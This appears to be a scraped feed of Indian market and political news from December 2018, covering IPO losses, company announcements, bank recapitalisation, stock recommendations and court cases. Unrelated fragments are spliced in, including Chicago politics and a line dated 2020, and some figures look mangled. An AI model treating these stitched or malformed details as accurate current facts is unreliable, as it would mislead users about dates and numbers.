They gave a negative return in the range of 33 to 54 percent. While most of these stocks were undersubscribed, Apollo Micro Systems was subscribed 248 times and Indostar Capital Finance was subscribed 6 times. Moneycontrol analysts suggest that most of these stocks had lofty valuations as they were listed at a time when the companies' performances were at a peak. The IPOs, however, could not give good returns in the short term because their valuations were placed based on speculations of the company's performance in a long term. "Unfortunately, these is called 'bull market tragedy' because they get priced by investment bankers at a very high premium and leave very little on the table for investors who invest in the IPO," Sanjiv Bhasin, Executive Vice President, Markets & Corporate Affairs at IIFL told Moneycontrol. For investors, who have already invested in these five stocks, may have no other option but to stay put as this has been a year of 'Buy the Fear and Sell the Greed', Bhasin said. Investors may be able to reap benefits only after the general elections 2019 as experts believe that stocks may start performing better after elections. "We would say that they are really good places but you have to wait till Diwali 2019 and even beyond to make some money on these stocks," he added. While the base strategy could be to exit these stocks after looking at aspects such as whether the valuations justify the earnings, investors who are planning to hold on to these stocks may have to wait for an extended period to get returns on these stocks, Moneycontrol analysts say. This year has been dull for IPOs and the businesses have corrected very sharply, Bhasin added. The Securities Exchange Board of India (SEBI) on December 18 voiced concern over the slow pace of primary issues , despite a good market condition, and asked investment bankers to do more "diligence" on the pricing front to get investors in. While the market regulator claims to have given a go-ahead to IPOs worth over Rs 60,000 crore in 2018, many of them are yet to hit the Street. Till October-end, 24 companies had raised Rs 30,959 crore through IPOs but most of these were until the March quarter. Last year was the best in terms of IPO fund-raising, as the IPO market jumped to an all-time record of Rs 67,147.4 crore in fresh fundraising by over 120 companies, according to data from Prime Database. Considering that the market is seeing a lot of rotation, Bhasin said,Hindustan Aeronautics and Bharat Dynamics will be under pressure. However, with a change of guard at ICICI , ICICI Securities may give a better performance in 2019. live bse live nse live Volume Todays L/H More Here are stocks that are in the news today: Pfizer: Parent company Pfizer Inc USA and GlaxoSmithKline plc entered into an agreement to create a premier global consumer healthcare company. TCS: Company launched next-generation private cloud in Canada. Canara Bank: Board decided to raise additional Tier I capital through Basel III compliant additional Tier I perpetual bonds in rupee terms for an amount not exceeding Rs 3,000 crore in single tranche or in multiple tranches, depending on the market conditions & subject to necessary approvals. Allcargo Logistics board decided to explore the emerging business opportunities related to Container Freight Stations, Inland Container Depots and Logistics Parks in India. Bhagyanagar India: CARE assigned BBB+/Stable rating for long term bank facilities. Cummins India: Company appointed Anjuly Chib Duggal as Non-Executive Independent Director. Syndicate Bank: The bank allotted 18,36,99.217 equity shares for cash at an issue price of Rs 239.63 per share to Government of India. With this allotment, shareholding of government increased from 73.07 percent to 76.16 percent. Om Metals bags Rs 615.16 crore EPC contract from water resources department, Government of Rajasthan Religare Enterprises' (REL) subsidiary Religare Finvest has filed a criminal complaint with the Economic Offences Wing of the Delhi Police against the promoters of REL Malvinder Mohan Singh and Shivinder Mohan Singh as well as RELs former CMD, Sunil Godhwani, N.K. Ghoshal Reliance Communications - NCLAT hearing on Ericsson and Reliance Infratel (RITL) minoirty investors petition related matter adjourned to January 22, 2019 Vesuvius India: Subrata Roy will step down as Managing Director of the company as he will pursue new responsibilities within the Vesuvius Group. Ritesh Dungarwal is appointed as Managing Director. Techno Electric & Engineering Company: Shareholding SBI Mutual Fund on December 4 stood at 8.05 percent after amalgamation. Wockhardt - Capital raising committee meeting will be held on December 22, 2018 to consider and approve fund raising Gujarat Gas: January 16 has been fixed as the record date for determining the eligibility ofshareholders, with regard to sub-division of company's equity shares. Orient Electric launching a new range of lifestyle portable fans Jubilant Industries: Finance Committee of the company approved the allotment of 18 lakh equity shares at issue price of Rs 135.95 per share and 13 lakh convertible warrants, at issue price of Rs 135.95 each to the members of the promoter group of the company by way of preferential allotment on a private placement basis. Uflex presents 'The Next Big Thing in pharma packaging Quess Corp/Thomas Cook - Approved the amendments in the Composite Scheme of Arrangement and Amalgamation between Thomas Cook (TCIL), Quess Corp, subsidiaries of TCIL and their respective shareholders Endurance Technologies: After favourable court order, company will announce a suitable compensation package for all its eligible permanent workmen employed on the rolls of the plant in Manesar, Haryana and discontinued operations of the said plant with immediate effect. Manappuram Finance: The Financial Resources and Management Committee of the Company approved the allotment of 42,309 unlisted unrated secured redeemable non-convertible debentures having face value of Rs 1000 each for Rs 4,23,09,000 on private placement basis. Alembic Pharma - USFDA conducted an inspection at company's API Facility located at Panelav from December 17 to 19. Issued zero 483s ICICI Lombard takes the Artificial Intelligence (AI) route for instant renewal of expired motor insurance policies Thomas Cook: Board has unanimously approved the amendments in the Composite Scheme of Arrangement and Amalgamation between Thomas Cook (India), Quess Corp Limited, Travel Corporation (India), TC Forex Services Limited (formerly known as Tata Capital Forex Limited), TC Travel Services Limited and SOTC Travel Management Private Limited and their respective shareholders. BGR Energy Systems: CARE revised rating on long term bank facilities worth Rs 3,076 crore to BBB/Stable from BBB+/Negative. Sarup Industries: Board considered the resignation Chakkarvarti Sharma from the post of Chief financial Officer of the company. DFM Foods - CARE assigned A Stable rating to long term bank facilities Subros - ICRA has upgraded the long term ratings and reaffirmed the short term ratings Bulk Deals on December 19 Punj Lloyd: IFCI continued to offload shares of the company, selling 54,93,201 equity shares at Rs 4.37 per share on the NSE. However, Alpha Leon Enterprises LLP net bought 27,96,325 equity shares at Rs 4.25 per share. DRS Dilip Roadlines: Aryaman Capital Markets Limited purchased 2,00,000 shares of the company at Rs 75.5 per share while Shah Babulal Vadilal HUF sold 1,12,000 shares at same price on the NSE. (For more bulk deals, click here) Analyst or Board Meet/Briefings Dixon Technologies: Company's officials will be meeting Doric Capital, DSP MF and Edelweiss Financial on December 20. Tube Investments of India: Conference Call with Institutional Investor on the unaudited financial results for the second quarter ended September 2018 is scheduled on December 20. Izmo: The analyst/institutional investors meeting with senior management of the company to be held on December 20 organised by Valorem Advisors, to discuss about the ordinary course of business and industry. Shriram City Union Finance: Company's officials will be meeting Batlivala & Karani Securities India on December 20 and Newmark Capital on December 28. Gujarat Pipavav Port: The company has a meeting with lndsec Securities & Finance on December 20. Eicher Motors: Company's officials will be meeting Axis Capital on December 20. Mahindra Holidays & Resorts India: Company's officials will be meeting Unifi Capital, Tattva Capital, Sundaram MF, TCG and Franklin Templeton on December 21. : Board meeting will be held on December 22 to consider fund raising. Twitter Mobile handset makers including Honor, Samsung and OnePlus have emerged as the most engaging brands on Twitter in India during 2018, using the social platform to drive brand awareness as well as product launches. According to Twitter's 'top 10 most engaging brands' tally, top 5 spots were taken up by handset makers -- Honor India, Samsung India, OnePlus India, Xiaomi India and Motorola India. The list also included State Bank of India, Wipro, Amazon India, Tata Sky and Mercedes Benz India. "In 2018, Indian brands on Twitter raised the bar for consumer engagement through innovative and inspirational brand campaigns. From driving brand awareness to product launches, brands in India adopted an always-on approach to cultivate a deep, meaningful relationship with their customers," Twitter said in a statement. Google India led the list of brands in terms of video views, followed by Samsung India, Honor India, Nexa, Tata Motors, Motorola India, Flipkart, LG India, Vistara, and Hero MotoCorp. The government on December 20 announced infusion of an additional Rs 41,000 crore into public sector banks (PSBs), popularly referred to as bank recapitalisation. This will take the total amount of recapitalisation to Rs 1.06 lakh crore in 2018-19. Earlier in the day, the government had filed supplementary demand for grants for additional spending of Rs 86,000 crore for the current financial year including the recapitalisation. It is worth noting the infusion will be on the lines of the Rs. 2.11 lakh crore recapitalisation plan announced last year which means capital will be infused through recapitalisation bonds. Hence, this will not entail actual cash outflow and any major adverse impact on the governments fiscal position. So which PSBs will benefit? The governments announcement is a big step towards revitalising banks saddled with non-performing assets (NPAs) and starved of capital, especially the ones placed under the prompt corrective action (PCA) framework. The governments first priority is to ensure that all PSBs meet the regulatory capital requirement i.e. a Capital to Risk-weighted Assets Ratio (CRAR) of 9 percent. Five out of the 21 PSBs reported Tier 1 capital of less than 7 percent (and CRAR of less than 9 percent) as on September end. These five banks (IDBI, Allahabad, UCO, United and CBI) will be the obvious beneficiaries of the infusion. Secondly, capital will be infused into PCA banks that are performing better. This can result in a more rapid exit from PCA, as it can reduce net NPAs, improve capital ratios and improve profits in subsequent years. Currently, there are 11 banks placed in PCA. These banks are bleeding (FY18 loss Rs 49,246 crore) and are likely to report losses of Rs 49,000 crore in FY19 as well, according to rating agency ICRA. Since these banks cannot issue Tier 1 bonds, there is no option but to provide capital to help them come out of the list. We can expect at least a couple of them to exit the PCA list after the governments planned infusion. Thirdly, capital will be provided to non-PCA banks. Another half a dozen banks (PNB, Andhra, Canara, Union, P&SB and Syndicate) are in a queue to enter the PCA club. These banks havent been placed in PCA but meet all the criteria of a PCA bank. Capital support would mean they dont fall into the PCA list. Lastly, PSBs undergoing mergers may get capital support. The governments capital infusion plan will result in shrinking of the PCA list. It wants to clean up banks' balance sheets and in turn, wants PSBs to participate in stimulating credit growth. Clearly, the government is aiming for a revival of the investment cycle. However, as alluded by Arvind Subramanian, former chief economic advisor, the challenges of stressed assets and weak balance sheet of PSBs would require the four 4 Rs: Recognition, Recapitalization, Resolution, and Reform. While the first three Rs have been addressed so far, the street would like to see some action on the fourth one Reform to decisively turn positive on public sector banks. Follow @nehadave01 For more research articles, visit our Moneycontrol Research Page There are shades of the way in which he operates and what weve seen in the way in which she operates, and people in this city have said loud and clear which is why Rahm is not on the ballot they want change, Lightfoot said. They dont want four more years of somebody who is tone-deaf, who doesnt listen, who doesnt engage, who doesnt feel like the people whose lives are most affected by government, that they dont have a role to play. Thats not progressive. Highlights: - Mold-Tek Packaging is growing at a healthy rate- Foray into FMCG segment to enhance margins- Capacity expansion to drive volumes- Strong market positioning with high-teen return ratios - Steady earnings growth available at reasonable valuations ------------------------------------------------- Mold-Tek Packaging, the manufacturer of plastic moulded containers for paints, lubricants & food, has been growing at a steady rate. The operating margins remain stable despite a surge in oil prices. The business seems on positive progression considering the new client and capacity addition and expansion in FMCG business. The company is staring at an optimistic future and the current valuations coupled with strong business fundamentals make the stock attractive for accumulation from a long-term perspective. Strong foothold in paints and lubricants industry Mold-Tek Packaging started the business in 1986 as a supplier to Asian Paints and has seen remarkable growth in the past three decades. The company diversified into other industries through an expansion of product portfolio - paint buckets, lubes & grease packs, ice-cream tubs, retail packs, q-packs and it now caters to marquee clients from the paints, lubricants, pharma and Food & FMCG space. While paints and lubricants remain Mold-Teks largest revenue contributor, the clientele list now includes other sector heavyweights such as Unilever, ITC, Ranbaxy and Cadbury. Foray into the high-margin FMCG business Mold-Teks foray into the FMCG packaging business has been the key revenue driver for the business in recent years. Innovative packaging along with deeper penetration has helped the company scale up this segment at a rapid rate. In FY18, the segment clocked a revenue of Rs 61 crore, that translates to a revenue share of 17 percent for the overall business. While the segment presents a huge opportunity in terms of size, the company also stands to benefit from higher margins as certain items such ice creams packs generates an EBITDA per kg of Rs 60-70 compared to the EBITDA per kg of Rs 30-35 for the overall business. Capacity expansion at Vizag and Mysuru The company has a total manufacturing capacity of around 33,000 metric tons spread across seven plants in India and one plant in the UAE. The company has a strong focus on R&D and was the first company to introduce IML (In-mould labelling) technology in the country. The industry has witnessed a steady adoption of IML products, which now contribute more than 55 percent to Mold-Tek topline. While the domestic business has been performing well, the UAE-based 3,000 metric ton RAK unit is operating at sub-50 percent capacity utilisation and continues to be a drag on the business profitability. Given the weak demand scenario in GCC, the company has decided to shift 1,200 tons of machinery capacity to India for packaging of ghee and edible oils. The company is enhancing its capacity by setting up new units for Asian Paints in Vizag and Mysuru. These plants will have a capacity of 3,000 metric tons each and are expected to start commercial production from Q4 FY19. Healthy operational performance in the first half During the first half of this fiscal year, the company reported a strong topline growth of 20 percent on the back of 12 percent volume growth in Q1 and 19 percent in Q2. Operating profits came in 16 percent higher as the margins dipped moderately on account of increase in consumables (linked to crude oil and currency devaluation) and new staff addition. While the operating performance was healthy, the bottom line was subdued due to higher depreciation and a sharp jump in interest expenses. Change in packaging trends to be monitored closely The packaging industry has witnessed a significant transformation in the historic past from bulky containers to flexible light-weight boxes which offer convenience along with ease of transportation. The industry trends are fast evolving and Mold-Tek needs to keep a track of the latest packaging trends and regulations. Besides, any slowdown in the domestic consumption is bound to have a direct impact on the business volumes as the company derives its demand from the consumer-focused businesses. Further, the inability to pass on the increase in input costs (linked to crude) could have a bearing on the realisations as well as margins. Secular growth story available at reasonable valuations We remain optimistic about the long term prospects of Mold-Tek Packaging as the company is an integrated packaging manufacturer with a consistent track record of execution. The current valuations (FY20 price earnings estimate of 19 times) appear fairly reasonable for entry from a long term perspective considering its strong market positioning, earnings visibility and high-teen return ratios. Follow @Sach_Pal live bse live nse live Volume Todays L/H More Share price of Alembic Pharmaceuticals gained 4 percent intraday Thursday after successful inspection by USFDA. The United States Food and Drug Administration (USFDA) has conducted an inspection at company's API Facility located at Panelav from December 17 to 19, 2018. This was a scheduled inspection and at the end of the inspection, there were zero 483s. At 10:26 hrs Alembic Pharmaceuticals was quoting at Rs 609.90, up Rs 13.10, or 2.20 percent on the BSE. The share touched its 52-week high Rs 664 and 52-week low Rs 412.40 on 27 September, 2018 and 24 May, 2018, respectively. Currently, it is trading 8.15 percent below its 52-week high and 47.89 percent above its 52-week low. JSW Holdings | Cash flow from operation in FY18: Rs 66 crore, FY19: Rs 89 crore and in FY20: Rs 103 crore. In the past 3-year, the stock price has risen 40 percent to Rs 2450 on August 25, 2020. live bse live nse live Volume Todays L/H More Shares of Religare Enterprises (REL) rose 2 percent in the early trade on Thursday after company subsidiary filled a criminal complaint against promoters of the company. Religare Finvest (RFL), a subsidiary company, has filed a criminal complaint with the Economic Offences Wing of the Delhi Police against the promoters of company Malvinder Mohan Singh and Shivinder Mohan Singh as well as former CMD, Sunil Godhwani, N.K. Ghoshal, the directors and officers of the promoter entities. It filed the complaint under the Indian Penal Code, 1860 including the offences of cheating, criminal breach of trust misappropriation and embezzlement of funds and forgery. The inquiries undertaken by the new RFL board and management it has discovered siphoning and misappropriation of funds of RFL amounting to approximately Rs 740 crore in aggregate through loans to entities that are controlled by, connected to or known to the promoters or their associates. Provisions against these have already been made at respective entities; hence there is no adverse effect of the same, company said in release. REL was controlled by Malvinder Mohan Singh and Shivinder Mohan Singh until February 2018. Post their exits from the board of REL in February 2018, the boards of REL and RFL have been re-constituted. The reconstituted boards have appointed a new professional management to manage the affairs of REL and its subsidiaries. At 09:19 hrs Religare Enterprises was quoting at Rs 32.50, up Rs 0.45, or 1.40 percent on the BSE. The US Treasury will lift sanctions on the core empire of Russian businessman Oleg Deripaska, including aluminium giant Rusal and its parent En+, watering down the toughest penalties imposed since Moscow's 2014 annexation of Crimea. In April, the US Treasury imposed sanctions on Deripaska, Rusal, En+ and other companies in which he owns stakes, citing "malign activities" by Russia, prompting turmoil in global aluminium markets. After lobbying by European governments, Washington postponed enforcement of the sanctions and started talks with Deripaska's team on removing Rusal and En+ from the blacklist if he ceded control of Rusal. Deripaska will remain under sanctions, the Treasury said. However, the three Deripaska companies - Rusal, En+ and power firm EuroSibEnergo - have agreed to restructure to reduce Deripaska's stakes. Rusal shares soared as much as 26.8 percent on Thursday to their highest since April, the month when the sanctions were announced. "These companies have committed to significantly diminish Deripaska's ownership and sever his control," the Treasury said in a statement on Wednesday, adding that the sanctions would be lifted in one month. The Irish government, which lobbied heavily in Washington for the removal of sanctions to protect 600 jobs at an alumina plant, said the move was "a very welcome return" on those efforts. The Aughinish Alumina plant will be free from the threat of sanctions following a 30-day Congressional review period, the Irish foreign ministry said in a statement. The facility churns out a third of Europe's alumina, a material used to make aluminium. Prices for aluminium fell to $1,911 a tonne after the Treasury statement, their lowest since August last year. Rusal, the world's second largest aluminium producer after China's Hongqiao, was not immediately available for comment. The London Metal Exchange said that it would lift its suspension on aluminium produced by Rusal if the US sanctions were removed. The deal, agreed with the Office of Foreign Assets Control (OFAC) in the United States, will prevent Deripaska obtaining cash or receiving future dividends from the companies. His stake in En+ will fall from 70 percent to 44.95 percent. The deal also includes Swiss company Glencore, or its subsidiary, swapping shares in Rusal for a direct ownership interest in En+. Glencore declined to comment. VTB Bank, Russia's second-largest lender, or another assignee approved by OFAC, will take ownership of a block of Deripaska's shares in En+ pledged as collateral for outstanding obligations. Deripaska will also donate a block of shares to a charitable foundation and assign any voting rights above 35 percent of En+ shares to a voting trust. Several shareholders with professional or family ties to him will also assign their voting rights to an independent third party. As part of the agreement, half of En+'s restructured board of directors will be US or UK nationals and Rusal's current board chairman will step down. En+ will create a board of 12 directors, with eight directors independent of Deripaska, in 30 days. After the restructuring En+ will no longer be subject to sanctions and will own a 56.88 percent stake in Rusal, retaining its right to nominate Rusal's chief executive. Deripaska will retain a direct shareholding interest in Rusal of just 0.01 percent. New Delhi: BJP National President Amit Shah addresses a press conference, in New Delhi, Friday, Dec. 07, 2018. (PTI Photo/Arun Sharma) (PTI12_7_2018_000032B) BJP chief Amit Shah and Uttar Pradesh Chief Minister Yogi Adityanath are likely to participate in a meeting of Hindu religious leaders at Rajkot, Gujarat where several issues including the Ram temple are being discussed. Rashtriya Swayamsevak Sangh (RSS) chief Mohan Bhagwat and BJP's national general secretary Ram Madhav are also participating in the two-day meeting, which began at Arsh Vidya Mandir this morning. The 'Chintan Baithak' (brain-storming meet) has religious leaders associated with the Rashtriya Swayamsevak Sangh (RSS) and the Vishwa Hindu Parishad as participants. "Every two years, the Hindu Acharya Sabha which consists of top religious heads of various Hindu sects organises this Baithak," RSS Gujarat spokesperson Vijay Thakkar told PTI. "All religious, political and social issues are discussed," Thakkar said, without elaborating. However, sources said that Ram temple issue would figure prominently in the discussions. Gujarat BJP spokesperson Raju Dhruv confirmed that Shah will be coming to Rajkot Friday to attend the meeting. Adityanath is also likely to come, he said. Hindu right-wing organisations as well as the RSS have been raising the pitch for the construction of Ram temple at the disputed site in Ayodhya, saying that an ordinance could be brought in for this purpose. PNB Scam: The Punjab National Bank fraud case relates to fraudulent letters of undertaking worth $2.1 billion issued by the banks Brady House branch in Mumbai, making it liable for the amount. Jeweller and designer Nirav Modi and Mehul Choksi have been accused of allegedly organising the fraud and have been chargesheeted along with other, including bank officials. Nirav Modi and Mehul Choksi absconded days before the scam came to light. (Image: Reuters) Milestone SC judgments on Aadhaar and Section 377: The apex court delivered multiple milestone verdicts in 2018. Two of them were on Aadhaar and Section 377. The top court upheld the constitutional validity of the unique identification number, but barred private entities from using the biometric data for KYC authentication. SC also scrapped section 377 of the Indian Penal Code that criminalised homosexuality. (Image: Reuters) The Rafale fallout: While the issue has been part of the political discourse for a few years, the Rafale deal controversy gathered steam in 2018 due to a concentrated attack from the Opposition. In December, the Supreme Court dismissed all petitions seeking probe into the alleged irregularities of the deal. SC gave a clean chit to the Centre on decision making, pricing and selection of the Indian offset partner. It is a political controversy related to purchase of 36 multirole fighter jets for an estimated price of 7.8 billion Euros from Dassault Aviation. (Representative image: Reuters) Indias #MeToo movement: The global movement against sexual assault and sexual harassment went viral in India starting October. The movement that started from the film industry in India quickly spread to other fields including the government and media. (Image: Reuters) Urjit Patels resignation: The Reserve Bank of India (RBI)s Governor resigned nine months before his tenure was to end in September 2019, ending a 27-month-long stint at Mint Street rocked by a testy debate on the central banks autonomy. Since August, RBIs relationship with the government had been anything but cordial. (Image: Reuters) Death of Atal Bihari Vajpayee and M Karunanidhi: The year witnessed the demise of tall political figures, including former prime minister Atal Bihari Vajpayee and former Tamil Nadu chief minister M Karunanidhi. Vajpayee was one of BJPs founding members and will be remembered for unleashing a string of economic reforms during NDAs five-year term between 1999 and 2004. Karunanidhi was an astute, sharp and strategic artist-turned-politician and the patriarch of the DMK. (Image: Reuters) Assembly elections: In the year ahead of the Lok Sabha election, the nation witnessed a total of nine state assembly polls. Three Northeastern states Tripura, Meghalaya and Nagaland voted in February. All three states saw a change of government. In May, a post-poll alliance between Congress-Janata Dal (Secular) managed to block BJP from forming a government in Karnataka. Congress halted the Modi juggernaut in December by winning three Hindi heartland states Chhattisgarh, Madhya Pradesh and Rajasthan. TRS retained Telangana and Congress lost its last Northeast bastion to MNF. (Image: Reuters) Flipkart-Walmart deal: In May, global retail giant Walmart bought a 77 percent stake in Flipkart for $16 billion to enter India's growing e-commerce market. It remains the worlds largest e-commerce deal. (Image: Reuters) Floods in Kerala: The flood, caused by unusually high rainfall during the monsoon season, wreaked havoc in Gods Own Country. The flood resulted in the death of 483 people. Kerala took months to crawl back to normalcy. Emergency supplies and reconstruction aid poured in from across the country and the world. (Image: Reuters) Days after a UK court ordered fugitive businessman Vijay Mallya's extradition, the External Affairs Ministry on December 20 said the Indian mission there is in "active touch" with British authorities regarding the case. The Westminster Magistrates' Court last week had ordered Mallya's extradition, in a major boost to India's efforts to bring back the fugitive wanted for alleged fraud and money laundering charges amounting to an estimated Rs 9,000 crores. Responding to a question on India's future course of action, Ministry of External Affairs (MEA) Spokesperson Raveesh Kumar said: "On December 10, the Westminster Court had recommended that Mallya should be extradited to India. Now it will go to the Home Secretary who will have two months to formally order his extradition." He said Mallya, within a period of two weeks, can also file an appeal. "We will have to see what happens next. I would like to tell you that our mission in London, they are in active touch with UK authorities on this issue," he said. To a separate question on absconding billionaire Mehul Choksi, Kumar said the CBI and the Enforcement Directorate's request was submitted to the Antigua and Barbuda authorities. Currently, the situation is that "we are following up on it and requesting them to expedite their response", he said. On Nirav Modi, he said India's request is under the consideration of the UK Home Secretary before it can be sent to the court for a decision. The CBI has charge sheeted both Nirav Modi and Choksi separately in the PNB scam. Agriculture Siraj Hussain In the Chinese calendar, 2019 is the year of pig. Pigs are considered realistic they act more and talk less. The Chinese consider them as a symbol of wealth. If the new government elected in 2019 talks less and acts more, Indian farmers will also benefit. Farmers bad luck continued in 2018. Farmers in Indias most prosperous states of Punjab and Haryana are considered least prone to risk as they cultivate wheat and paddy, which are procured by the government at a minimum support price (MSP) fixed by the government. In Kharif 2018, the MSP of Grade-A paddy was increased by Rs 180 per quintal, or 11.3%. These two states alone bought 226 lakh tonnes of paddy at MSP this year. So paddy farmers realised Rs 7,322 crore more than the previous year. It is a different matter that commission agents also earned an extra Rs 183 crore without providing any additional facility in mandis. Hoever, farmers growing other crops were not so lucky. Despite promises of the government, the MSP remained a distant dream for most, except those who grew sugarcane and cotton. Even milk prices collapsed. Due to fear of violence, many farmers found it difficult to realise a good price from their old and out of milk animals. With stagnant wages and limited employment in off-farm activities, farmers income would have taken a serious hit in 2018. What would farmers expect in 2019? I can see the following four major trends: Loan waiver: In the last four years, farm loans have been written off in Andhra Pradesh, Chhatisgarh, Jammu & Kashmir, Karnataka, Maharashtra, Punjab, Puducherry, Telangana, Uttar Pradesh and Tamil Nadu. This consideration has so far been shown to only the farmers of states going for elections. So, fiscal prudence can wait and we should brace up for another round of loan waivers. It may cost the government more than Rs 2 lakh crore. Market Reforms: Despite all the tall promises made by political parties during the assembly election campaign in Madhya Pradesh, Rajasthan, Chhattisgarh and Telangana, it is unlikely that governments can expand procurement beyond wheat, paddy and pulses, and that too in some states only. The promise of ensuring the MSP for all crops through procurement by government agencies is therefore unlikely to materialise. The real mechanism to help farmers get a better price is to open the all India market by making agriculture trade as easy as trade in goods and services. There is substantial variation in prices of farm produce across mandis even within the states. The space for market reforms by the states is rather tight. Maharashtra had to withdraw the ordinance issued in October 2018, freeing farm produce and livestock from the clutches of mandi operators. The most challenging task before new central government will, therefore, be to actually implement market reforms in the states. No one understands why a strong Centre could not persuade the states to reform their agricultural markets. Farmers would hope that the new government actually frees up agricultural markets and not on paper alone! Crop Insurance: In 2019, the monsoon will determine the fate of farmers in rain-fed areas. In 2018, several regions in Rajasthan, Gujarat (Saurashtra and Kutch) and Marathwada faced deficient rains. A second consecutive failure of the monsoons will pose enormous challenges to the agricultural economy in these regions. With the threat of El-Nino looming large, crop insurance can provide them the much-needed cover. If the states really want to reduce the premium subsidy provided by them, they must make sincere efforts to get lower premium from insurance companies. For this, they should finalise the tenders of crop insurance before the first forecast of monsoon is issued in mid-April. The current July 15 cut off for finalising tenders by states is too late. The progress of monsoon is already known by that time and the companies will quote higher actuarial rates if the forecast is not good. The states and the insurance companies should also meticulously follow the guidelines of crop insurance scheme so that there is no adverse selection and claims are settled within the prescribed time limits. The states should also gear up for prompt and correct assessment of crop losses so that farmers receive their insurance claims in time. Direct Investment Support: Once the limitation of delivering remunerative price through the MSP is realised, the other options are likely to be considered in right earnest. The Price Deficiency Payment Scheme was implemented in MP in Kharif 2017 but it failed in several respects. Therefore, during the run-up to assembly elections, the state government did not opt for it. Instead, a bonus of Rs 50 per quintal was announced for soybean and maize. Taking a cue from MPs experience, it is possible that direct support to farmers should be considered by the new government as an option to help farmers. It is efficient, prompt and free of corruption. Moreover, it is not distortionary as it does not favour one crop over another. Telangana ignored tenant farmers in its Rythu Bandhu scheme. So an improved version will have to be designed if it is to become a model for the entire country. There is a consensus that farmers need State help to survive. The real issue is how it is to be delivered. It is hoped that 2019 will show the way. Siraj Hussain, former secretary, Agriculture, Government of India, is visiting senior fellow, ICRIER. Views are personal. Sajjan Kumar Former Congress leader Sajjan Kumar Thursday approached the Delhi High Court seeking time till January 31 to surrender in connection with a 1984 anti-Sikh riots case in which he was recently sentenced to life imprisonment. Kumar, who was directed by the high court on Monday to surrender before authorities by December 31, sought more time saying he has to settle family affairs. Advocate Anil Sharma, representing Kumar, said they need some more time to file appeal before the Supreme Court challenging the high court's verdict and Kumar has to settle his family matters relating to his children and property. The plea is likely to come up for hearing on Friday. The case relates to killing of five Sikhs in Raj Nagar part-I area in Palam Colony in South West Delhi on November 1-2, 1984, and burning down of a Gurudwara in Raj Nagar part II during that period. PTI SKV HMPURD. PTI file photo dated October 1990 shows Babri Masjid in Ayodhya The Allahabad High Court on Thursday rejected a petition seeking permission to offer 'namaz' at the disputed site in Ayodhya while imposing a fine of Rs 5 lakh on the petitioner saying the appeal was filed for "cheap publicity". Justices DK Arora and Alok Mathur of the Lucknow bench of the high court passed the order on the petition of Al-Rahman Trust, which had requested the court to give permission to offer namaz at the dipsuted site. The court termed the petition as an attempt to gain "cheap publicity" and imposed a fine of Rs 5 lakh on the petitioner. The court directed District Magistrate Faizabad to realise the fine amount if it is not deposited by the Trust. What it means beyond this year: It really feels like this Jetsons-meets-the-subway project is way off in some distant future. Emanuel and Musk have said its too early to provide a timeline for the projects completion or its estimated cost, but they said Boring would pay for the entire project. That would include the construction of a new station at OHare and the completion of the mothballed superstation built at Block 37 under previous Mayor Richard M. Daley, who like Emanuel pushed for high-speed rail access to OHare. A contingent of Chicago aldermen went out to Los Angeles this week to get a look at a sample tunnel built. Read about it here. Angered by the governments reluctance to arrest Sambhaji Bhide, who allegedly instigated violence in Bhima-Koregaon earlier this year, Dalits have warned the Bharatiya Janata Party (BJP) to be ready to face the outcome in the 2019 elections, said a Hindustan Times report. On January 1, an event to mark the 200th anniversary of the Bhima-Koregaon battle in Pune district, in which the British Army comprising Dalits defeated upper-caste Peshwas, was marred by incidents of stone pelting and vandalism. Dalit groups congregated near the battle memorial were attacked by a mob, which was allegedly instigated by Shiv Pratisthan chief Sambhaji Bhide. The Pune rural police had also registered an FIR against Bhide, but he has not been arrested yet, suggested the report. This has angered the Dalit groups, who are blaming the government for not arresting Bhide and have said the BJP would pay a heavy price in the 2019 elections. In a meeting organised by the Peoples Republican Party chief Jogendra Kawade near the Bhima-Koregaon memorial, he warned the BJP that after losing four states (BJP lost Assembly polls in Chhattisgarh, Madhya Pradesh, Rajasthan and Telangana recently), the party should now take corrective steps by arresting Bhide or it would face the wrath of the Dalits, the report stated. Maharashtra is scheduled to go for parliamentary and assembly elections in 2019. Union Minister Ramdas Athawale, who is the head of BJPs alliance partner Republican Party of India (RPI) also asked the government to arrest Bhide. Several Dalit outfits have decided to display their show of strength once again on New Years Day. New Delhi: Union minister and Rashtriya Lok Samta Party (RLSP) chief Upendra Kushwaha meets with expelled JD(U) leader Sharad Yadav in New Delhi, Monday, Nov 12, 2018. (PTI Photo) (PTI11_12_2018_000055B) Former Union Minister Upendra Kushwaha, who had recently broken ties with the BJP-led National Democratic Alliance (NDA) in Bihar, joined the Mahagathbandhan on December 20. Kushwaha had withdrawn from the NDA on December 10 over seat-sharing for 2019 Lok Sabha elections. In his letter to Prime Minister Narendra Modi, he said he was "dejected" and "betrayed" by the PM's leadership. "It is unfortunate that the government's priority is not to work for the poor and oppressed, but to fix political opponents by hook or crook," Kushwaha had written in the letter. After Kushwaha joined the Mahagathbandhan (or the Grand Alliance) in Bihar today, leaders of the parties comprising the alliance held a press conference as a show of strength. Congress veteran Ahmed Patel welcomed Kushwaha into the UPA, whereas RJD leader Tejashwi Yadav launched an attack at the ruling BJP-JD(U) combine in the state. Yadav, who is also the Leader of Opposition in the Bihar Assembly, said a united Opposition is the need of the hour in order to protect the Constitution and its institutions the RBI, ED and CBI of the country. Asserting that the Mahagathbandhan is an alliance based on concurring ideologies, Yadav said, "Nitish chacha disrespected the mandate of the people of Bihar. But now the people have understood BJP's ploy and that is why the saffron party is losing its allies across India be it PDP in Jammu and Kashmir or TDP in Telangana." Kushwaha's Rashtriya Lok Samta Party (RSLP), which was earlier a member of the NDA, had won 2 seats in the 2015 Assembly elections in Bihar. Incumbent Bihar Chief Minister and JD(U) President Nitish Kumar had withdrawn from the Magagathbandhan in July 2017 to join hands with the NDA. The JD(U) with 71 seats and the BJP with 53 seats crossed the halfway mark in the 243-member Assembly and formed the government. Congress supporters celebrate win in the Bellary Lok Sabha bypoll in Karnataka November 6, 2018 The ruling Congress and its allies in Puducherry have decided to stage a demonstration outside the Parliament in Delhi next month to mount pressure on the Centre for granting statehood to the Union Territory, a long-pending demand. Chief Minister V Narayanasamy said the decision was taken at a meeting of leaders of various parties convened by him here Wednesday night, where concern was expressed over the Centre 'slashing' grants to the UT and the style of functioning of Lt Governor Kiran Bedi, who has been at loggerheads with the Congress government on various issues. Briefing reporters late Wednesday night about the meeting, boycotted by the principal opposition AINRC and the AIADMK, he said the plea for statehood had been raised on several occasions in the past both inside the UT assembly and outside. "The Assembly has adopted 13 resolutions in the past urging the centre to grant statehood. But the Centre remains irresponsive and silent to our resolutions," he said. 